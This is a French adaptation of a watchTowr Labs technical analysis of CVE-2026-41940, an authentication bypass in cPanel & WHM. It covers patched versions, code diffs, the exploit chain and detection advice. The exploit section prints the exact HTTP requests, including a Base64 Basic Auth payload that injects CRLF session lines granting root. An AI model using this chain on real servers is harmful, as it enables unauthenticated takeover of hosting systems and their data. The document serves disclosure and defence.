Analyse technique par watchTowr Labs (Sina Kheirkhah, @SinSinology) — adaptation française.

Article original : https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/

Bonjour ! Oui, c’est encore le chaos. Si vous gérez des serveurs sous cPanel ou WHM, posez votre café et lisez ceci attentivement.


Qu’est-ce que cPanel & WHM ?

cPanel et WHM constituent la solution de panneau de contrôle d’hébergement la plus répandue au monde, gérant quelque part au nord de 70 millions de domaines. WHM (Web Host Manager) fournit l’accès administrateur root à l’ensemble du serveur, tandis que cPanel sert les comptes d’hébergement individuels. Pour reprendre la métaphore des chercheurs : « pensez-y comme aux clés du château, et ensuite aux clés de chaque appartement à l’intérieur du château. »

Une vulnérabilité dans ce logiciel, c’est donc une vulnérabilité qui touche potentiellement des dizaines de millions de sites en une seule fois.


CVE-2026-41940 : vue d’ensemble

La CVE-2026-41940 est un contournement d’authentification critique affectant toutes les versions actuellement supportées de cPanel & WHM — pas simplement un sous-ensemble. Elle concerne les mécanismes de chargement et de sauvegarde des sessions, et permet à un attaquant non authentifié d’obtenir un accès root complet à WHM.

Ce qui rend cette vulnérabilité particulièrement grave : une exploitation dans la nature a été confirmée en zero-day par KnownHost, ciblant l’infrastructure de gestion de serveurs d’hébergement mutualisé. Autrement dit, des attaquants s’en servaient activement avant même que le correctif ne soit disponible.

Versions affectées et versions corrigées

Branche Dernière version vulnérable Version corrigée
110.0.x 11.110.0.96 11.110.0.97
118.0.x 11.118.0.61 11.118.0.63
126.0.x 11.126.0.53 11.126.0.54
132.0.x 11.132.0.27 11.132.0.29
134.0.x 11.134.0.19 11.134.0.20
136.0.x 11.136.0.4 11.136.0.5

Analyse technique : plongée dans le code

Les fichiers modifiés par le correctif

En comparant les versions avant et après correctif, watchTowr a identifié trois fichiers modifiés :

  • Cpanel/Session.pm — le module de sauvegarde de session
  • Cpanel/Session/Load.pm — le module de chargement de session
  • Cpanel/Session/Encoder.pm — un nouveau module d’encodage hexadécimal

La modification critique dans saveSession

Avant le correctif :

my $encoder = $ob && Cpanel::Session::Encoder->new( 'secret' => $ob );
local $session_ref->{'pass'} = $encoder->encode_data( $session_ref->{'pass'} )
  if $encoder && length $session_ref->{'pass'};

Après le correctif :

filter_sessiondata($session_ref);
if ( length $session_ref->{'pass'} ) {
    if ( defined $ob && length $ob ) {
        my $encoder = Cpanel::Session::Encoder->new( 'secret' => $ob );
        $session_ref->{'pass'} = $encoder->encode_data( $session_ref->{'pass'} );
    }
    else {
        $session_ref->{'pass'} = 
          'no-ob:' . Cpanel::Session::Encoder->hex_encode_only( $session_ref->{'pass'} );
    }
}

Deux corrections importantes sont visibles ici :

  1. filter_sessiondata() est maintenant appelé à l’intérieur de saveSession plutôt que de dépendre des appelants pour le faire — cette fonction assainit les caractères dangereux \r\n=\, des données de session.
  2. Quand $ob est absent, le mot de passe est désormais encodé en hexadécimal (no-ob: + hex) au lieu d’être laissé en clair.

Ces deux corrections nous révèlent exactement la vulnérabilité : injection CRLF dans le fichier de session via un mot de passe non sanitisé, combinée à l’absence d’encodage quand $ob manque.


Structure des sessions cPanel

Pour comprendre l’attaque, il faut d’abord comprendre comment cPanel gère ses sessions.

Les fichiers de session sont stockés sur disque dans /var/cpanel/sessions/raw/<nom_de_session>. Quand un utilisateur tente de se connecter (même avec un mauvais mot de passe), cPanel crée un fichier de session pré-authentification :

POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded

user=root&pass=mauvais_mdp

La réponse contient un cookie de session :

Set-Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK%2c1bd3d4bf5ecbf83b660789ab0f3198fa

Une fois décodé en URL : :Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa

Ce cookie est composé de deux parties séparées par une virgule :

  • La partie avant la virgule : l’identifiant de session (:Wg_mjzgt1hyfXefK)
  • La partie après la virgule (1bd3d4bf...) : le secret par session, appelé $ob (pour « obfuscation »), utilisé pour encoder le champ mot de passe sur disque via Cpanel::Session::Encoder

Le fichier de session sur disque ressemble à ceci :

local_ip_address=172.17.0.2
external_validation_token=bOOwkwVzFsruooU0
cp_security_token=/cpsess7833455106
needs_auth=1
origin_as_string=address=172.17.0.1,app=whostmgrd,method=badpass
hulk_registered=0
tfa_verified=0

La chaîne d’exploitation en 4 étapes

Étape 1 — Injection CRLF via l’authentification Basic

Le composant cpsrvd gère l’authentification HTTP Basic. Voici la logique pertinente :

my ($user, $pass) = split(/:/, decode_base64($encoded), 2);
$user = $server_obj->auth->set_user($user);   # supprime \0 et /
$pass = $server_obj->auth->set_pass($pass);   # supprime \0 UNIQUEMENT

if ($SESSION_ref->{'needs_auth'}) {
    delete $SESSION_ref->{'needs_auth'};
    $SESSION_ref->{'user'} = $user;
    $SESSION_ref->{'pass'} = $pass;
    unless (Cpanel::Session::saveSession($session, $SESSION_ref)) {
        $server_obj->badpass(...);
    }
}

La fonction set_pass ne supprime que les octets NUL (\0). Les caractères \r\n survivent parfaitement.

Voici le payload d’injection : on commence par générer une session pré-auth via un faux login raté, ce qui donne un cookie comme :

:QSJN_sFdKZtCi2o_,4d257abc371539dfebdf7d3a3e64de0b

On renvoie ensuite une requête d’authentification Basic en supprimant la partie $ob du cookie (après la virgule), et en injectant un mot de passe malveillant :

GET / HTTP/1.1
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0xDQp1c2VyPXJvb3QNCmNwX3NlY3VyaXR5X3Rva2VuPS9jcHNlc3M5OTk5OTk5OTk5DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9MTc3NzQ2MjE0OQ==

La valeur Base64 se décode en :

root:x\r\n
hasroot=1\r\n
tfa_verified=1\r\n
user=root\r\n
cp_security_token=/cpsess9999999999\r\n
successful_internal_auth_with_timestamp=1777462149

Comme $ob est absent du cookie, saveSession n’encode pas le mot de passe et n’appelle pas filter_sessiondata (dans la version non corrigée). Les caractères \r\n sont écrits tels quels dans le fichier texte de session, créant des entrées séparées :

pass=x
hasroot=1
tfa_verified=1
user=root
cp_security_token=/cpsess9999999999
successful_internal_auth_with_timestamp=1777462149

Étape 2 — Le problème du cache JSON

Problème : loadSession donne la priorité à un cache JSON sur le fichier texte brut :

if ( $session_cache_fh = _open_if_exists_or_warn($session_cache) ) {
    eval {
        $session_ref = Cpanel::AdminBin::Serializer::LoadFile($session_cache_fh);
    };
}

if ( !keys %$session_ref ) {
    if ( $session_fh = _open_if_exists_or_warn($session_file) ) {
        $session_ref = Cpanel::Config::LoadConfig::parse_from_filehandle(
            $session_fh, delimiter => '='
        );
    }
}

Les lignes injectées restent invisibles aux requêtes suivantes car elles sont imbriquées dans la valeur du champ pass dans le cache JSON, pas en tant que clés de premier niveau. Il faut forcer une invalidation du cache.

Étape 3 — Invalidation du cache via Cpanel::Session::Modify

La classe Cpanel::Session::Modify relit le fichier texte brut et régénère le cache JSON. Ses méthodes new et save sont appelées par la fonction do_token_denied de cpsrvd :

sub do_token_denied {
    if ($user_provided_session_ref = $server_obj->get_current_session_ref_if_exists) {
        if (not $server_obj->request->get_supplied_security_token
            or ++$user_provided_session_ref->{'token_denied'} < $max_tries)
        {
            require Cpanel::Session::Modify;
            my $session_mod = 'Cpanel::Session::Modify'->new($session);
            $session_mod->set('token_denied',
                defined $session_mod->get('token_denied')
                ? $session_mod->get('token_denied') + 1
                : 1
            );
            $session_mod->save;
        }
    }
}

Cette fonction est déclenchée quand une requête ne contient pas de security token dans l’URI. Il suffit d’envoyer :

GET /scripts2/listaccts HTTP/1.1
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_

Réponse : HTTP/1.1 401 Token Denied

Mais l’effet secondaire est crucial : Cpanel::Session::Modify::new relit le fichier texte brut (qui contient nos lignes injectées) et save les réécrit dans un nouveau cache JSON. Les clés injectées se retrouvent maintenant au premier niveau de l’objet JSON :

{
    "tfa_verified": "1",
    "user": "root",
    "hasroot": "1",
    "successful_internal_auth_with_timestamp": "1777462149",
    "cp_security_token": "/cpsess0228251236",
    "pass": "x"
}

Étape 4 — Contournement de la validation du mot de passe

Lors du traitement d’une requête authentifiée, handle_auth inspecte la session pour un timestamp d’authentification interne réussie :

elsif (not $SESSION_ref->{'needs_auth'}) {
    if ($SESSION_ref->{'successful_internal_auth_with_timestamp'}) {
        $successful_internal_auth_with_timestamp =
            $SESSION_ref->{'successful_internal_auth_with_timestamp'};
    }
}

Plus loin dans le flux, docheckpass_whostmgrd vérifie cette variable globale :

if ($successful_external_auth_with_timestamp or $successful_internal_auth_with_timestamp) {
    $authorized = _check_external_internal_auth_from_docheckpass(%OPTS);
}

Et enfin, check_authok_user court-circuite entièrement la vérification du mot de passe :

if ($AUTHOPTS{'authable_user'}{'successful_external_auth_with_timestamp'}
    or $AUTHOPTS{'authable_user'}{'successful_internal_auth_with_timestamp'})
{
    return $Cpanel::Server::AUTH_OK, 0;
}

Résultat : l’accès root est accordé sans validation du mot de passe réel.


Impact

Cette vulnérabilité permet à un attaquant non authentifié de :

  • Obtenir un accès root complet à WHM (l’interface d’administration du serveur)
  • Contrôler les certificats SSL et les protocoles de sécurité
  • Administrer tous les comptes d’hébergement présents sur le serveur
  • Exécuter des commandes arbitraires en tant que root
  • Accéder à toutes les données de tous les sites hébergés

Étant donné que cPanel/WHM gère des dizaines de millions de domaines, il s’agit d’un risque de compromission d’infrastructure à très grande échelle. Et comme l’exploitation a été confirmée en zero-day, des serveurs ont déjà été compromis avant même que le correctif n’existe.


Résumé de la chaîne d’exploitation

  1. Login raté → génération d’un fichier de session pré-auth avec un identifiant de session valide
  2. Requête Basic Auth malveillante → cookie tronqué (sans $ob) + mot de passe contenant des injections CRLF → les lignes injectées s’écrivent dans le fichier texte de session
  3. Requête sans security token → déclenchement de do_token_deniedCpanel::Session::Modify relit le fichier brut et régénère le cache JSON avec les clés injectées au premier niveau
  4. Requête normalesuccessful_internal_auth_with_timestamp présent dans la session → vérification du mot de passe court-circuitée → AUTH_OK retourné → accès root accordé

Détection et mitigation

Action immédiate : mettre à jour

La seule mitigation fiable est de mettre à jour vers les versions corrigées listées dans le tableau ci-dessus. cPanel propose généralement des mises à jour automatiques — vérifiez qu’elles sont activées et appliquez-les immédiatement.

Recherche de traces d’exploitation

watchTowr Labs a publié un outil de détection open source sur GitHub pour aider les défenseurs à identifier les instances vulnérables et à rechercher des traces d’exploitation dans les logs.

Points à vérifier dans vos logs WHM/cPanel :

  • Requêtes de login avec des cookies tronqués (absence de la partie $ob après la virgule)
  • Présence de caractères CRLF (\r\n) dans des champs d’authentification
  • Erreurs 401 Token Denied répétées sur une même session
  • Accès administratifs inhabituels, particulièrement en dehors des horaires normaux

Analyse des causes racines

Cette vulnérabilité illustre plusieurs problèmes de sécurité classiques qui se combinent pour créer une faille critique :

  1. Sanitisation incohérente : filter_sessiondata() existait déjà mais n’était pas systématiquement appelé dans saveSession, laissant la responsabilité aux appelants — une dépendance fragile.
  2. Encodage conditionnel sur une valeur absente : l’absence de $ob dans le cookie n’était pas un cas d’erreur, mais silencieusement ignorée, avec pour effet que le mot de passe n’était pas encodé et les CRLF non filtrés.
  3. Lacune dans l’invalidation du cache : le mécanisme de cache JSON créait un écart entre l’état du fichier brut et ce que le système voyait réellement, permettant aux clés injectées de persister jusqu’à une invalidation opportuniste.
  4. Court-circuit d’authentification trop permissif : la présence d’un simple timestamp dans la session suffisait à bypasser entièrement la vérification du mot de passe contre /etc/shadow.

C’est le problème classique de la « confusion d’état » : plusieurs composants font des hypothèses différentes sur la validité des données de session, et l’attaquant exploite les incohérences entre ces hypothèses.


Conclusion

CVE-2026-41940 est une vulnérabilité d’une sévérité exceptionnelle : pre-auth, zero-click, menant directement à l’accès root sur un logiciel qui propulse des dizaines de millions de domaines. L’exploitation confirmée dans la nature avant la publication du correctif rend la situation encore plus urgente.

Si vous gérez des serveurs cPanel/WHM, la mise à jour n’est pas optionnelle. Vérifiez vos logs pour des traces d’exploitation, et si vous avez un doute sur la compromission d’un serveur, traitez-le comme compromis.

Source : watchTowr Labs — Sina Kheirkhah (@SinSinology), 29 avril 2026

Laisser un commentaire